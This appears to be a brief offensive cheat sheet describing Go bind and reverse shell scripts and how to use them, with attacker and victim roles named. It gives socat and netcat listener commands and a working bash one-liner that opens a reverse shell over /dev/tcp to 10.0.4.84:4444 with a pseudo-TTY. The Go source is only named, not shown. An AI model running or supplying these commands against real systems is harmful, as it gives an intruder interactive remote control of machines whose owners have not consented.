Tools Used

Scripts Overview

Script Description
bind.go Go bind shell listening on TCP port with TTY via pty
rev.go Go reverse shell connecting back to attacker with TTY via pty
Bash + script Bash command using script to spawn a pseudo-TTY over TCP

Bind Shell via Go + socat

Use socat on the attacker side and bind.go on the victim to establish an interactive bind shell.

Bind Shell Command

Attacker listens with:

socat -,raw,echo=0 TCP:10.0.4.84:4444

Victim runs:

go run bind.go

Reverse Shell via Go + netcat

Use nc on the attacker side and rev.go on the victim for a reverse shell.

Reverse Shell Command

Attacker listens with:

nc -nlvp 4444

Victim runs:

go run rev.go

Interactive TTY Reverse Shell via Bash + script

When Go is not available on the attacker side, you can receive a fully interactive shell from the victim using built-in Linux utilities.

Bash TTY Command

Execute on victim to spawn a pseudo-TTY over TCP:

bash -c 'exec 5<>/dev/tcp/10.0.4.84/4444; script -qc bash /dev/null <&5 >&5 2>&5'

Receiver (Go)

To receive this TTY shell using Go, run the Go listener:

go run ttyrecibe.go